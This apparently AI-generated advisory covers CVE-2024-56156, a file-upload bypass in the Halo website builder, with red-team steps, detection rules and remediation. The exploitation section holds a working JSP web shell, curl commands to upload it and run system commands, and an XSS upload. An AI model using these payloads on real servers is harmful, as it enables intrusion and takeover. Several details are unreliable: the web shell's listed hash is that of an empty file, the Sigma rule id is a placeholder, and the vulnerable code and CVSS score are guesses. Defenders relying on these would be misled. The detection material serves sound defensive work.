CVE-2024-56156

Executive Summary

CVE-2024-56156 is a critical vulnerability in the Halo open-source website building tool, affecting versions prior to 2.20.13. The flaw allows attackers to bypass file type validation controls, enabling the upload of malicious files such as executables and HTML files. This can lead to stored cross-site scripting (XSS) attacks and, under certain circumstances, remote code execution (RCE). The vulnerability has been patched in version 2.20.13, and immediate upgrading is strongly recommended.

Supply Chain & Package Security

Halo is a Java-based application distributed via GitHub releases and Docker images. The vulnerability does not directly affect the software supply chain (e.g., NPM, PyPI, Go, or Ruby packages), but the risk of malicious file uploads could be exploited to compromise the integrity of the application and its data.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, likely due to incomplete scoring. Based on the vulnerability description, a reasonable estimated CVSS vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated attackers to upload arbitrary files, potentially leading to full server compromise.

Deep Dive & Mechanics

The vulnerability resides in Halo's file upload functionality. The application fails to properly validate the MIME type or file extension of uploaded files, allowing attackers to bypass intended restrictions. This enables the upload of:

• Executable files (e.g., .jsp, .war, .sh) that could be executed on the server.
• HTML files containing malicious JavaScript, leading to stored XSS attacks.

The attack flow:

1. An attacker identifies a file upload endpoint (e.g., /api/admin/attachments/upload).
2. The attacker crafts a malicious file (e.g., a JSP web shell or an HTML file with XSS payload).
3. The attacker uploads the file, bypassing the weak validation.
4. The file is stored on the server and can be accessed via a URL.
5. For executable files, the attacker can trigger execution (e.g., by accessing the JSP file). For HTML files, the attacker can lure a victim to the uploaded page or use it in a stored XSS attack.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.20.13): The file upload handler likely only checks the file extension against a whitelist but does not validate the actual content or MIME type. Example pseudocode:

public void uploadFile(MultipartFile file) {
    String filename = file.getOriginalFilename();
    if (filename.endsWith(".jpg") || filename.endsWith(".png")) {
        // Save file
    } else {
        throw new InvalidFileTypeException();
    }
}

Patched Code (2.20.13): The patched version adds robust validation, including MIME type checking and content inspection. Example pseudocode:

public void uploadFile(MultipartFile file) {
    String mimeType = file.getContentType();
    if (!allowedMimeTypes.contains(mimeType)) {
        throw new InvalidFileTypeException();
    }
    // Also validate file magic bytes
    byte[] header = new byte[4];
    file.getInputStream().read(header);
    if (!isValidImageHeader(header)) {
        throw new InvalidFileTypeException();
    }
    // Save file
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Halo instance (version < 2.20.13).
• Access to a file upload endpoint (e.g., /api/admin/attachments/upload).

Exploitation Steps:

1. Craft a JSP Web Shell:

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       if (cmd != null) {
           Process p = Runtime.getRuntime().exec(cmd);
           BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
           String line;
           while ((line = reader.readLine()) != null) {
               out.println(line);
           }
       }
   %>
   

2. Upload the Web Shell:

   curl -X POST -F "file=@shell.jsp" http://target.com/api/admin/attachments/upload
   

3. Execute Commands:

   curl http://target.com/uploads/shell.jsp?cmd=id
   

For Stored XSS:

1. Craft an HTML File:

   <html>
   <body>
   <script>alert('XSS')</script>
   </body>
   </html>
   

2. Upload the HTML File:

   curl -X POST -F "file=@xss.html" http://target.com/api/admin/attachments/upload
   

3. Trigger XSS: Access the uploaded file URL in a browser.

Blue Team

Detection Steps:

1. Monitor File Upload Endpoints: Log all file upload requests, including source IP, user agent, and uploaded file names.
2. Inspect Uploaded Files: Regularly scan uploaded files for suspicious content (e.g., JSP code, JavaScript).
3. Review Access Logs: Look for unusual access patterns to uploaded files (e.g., direct access to .jsp files).

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri="/api/admin/attachments/upload" | table _time, clientip, uri, useragent
• ELK: GET /api/admin/attachments/upload with response status 200.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.jsp: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • xss.html: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Network Indicators:
  • Suspicious upload requests to /api/admin/attachments/upload.
  • Access to uploaded files with extensions .jsp, .war, .sh, .html.
• File System Indicators:
  • Unexpected files in the upload directory (e.g., /uploads/).
  • Files with executable extensions in non-executable directories.

Detection Engineering

YARA Rule

rule CVE_2024_56156_Halo_FileUpload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2024-56156 in Halo"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56156"
    strings:
        $jsp_web_shell = "<%@ page import=\"java.io.*\" %>" nocase
        $html_xss = "<script>alert(" nocase
        $exec_cmd = "Runtime.getRuntime().exec" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-56156 Halo Malicious File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to upload malicious files to Halo CMS
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/admin/attachments/upload'
    condition: selection
falsepositives:
    - Legitimate file uploads by authorized users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56156 Halo Malicious File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/admin/attachments/upload"; http_uri; content:!"Content-Type|3a| image/"; pcre:"/\.(jsp|war|sh|html)$/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Halo: Update to version 2.20.13 or later immediately.
2. Restrict File Uploads: If immediate upgrade is not possible, disable file upload functionality or restrict it to trusted users only.
3. Web Application Firewall (WAF): Deploy WAF rules to block uploads of executable files (e.g., .jsp, .war, .sh).

Long-Term Measures:

1. Input Validation: Implement strict file type validation based on MIME type and content inspection.
2. File Storage Isolation: Store uploaded files in a separate domain or subdirectory with no execution permissions.
3. Regular Security Audits: Conduct periodic code reviews and penetration testing.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.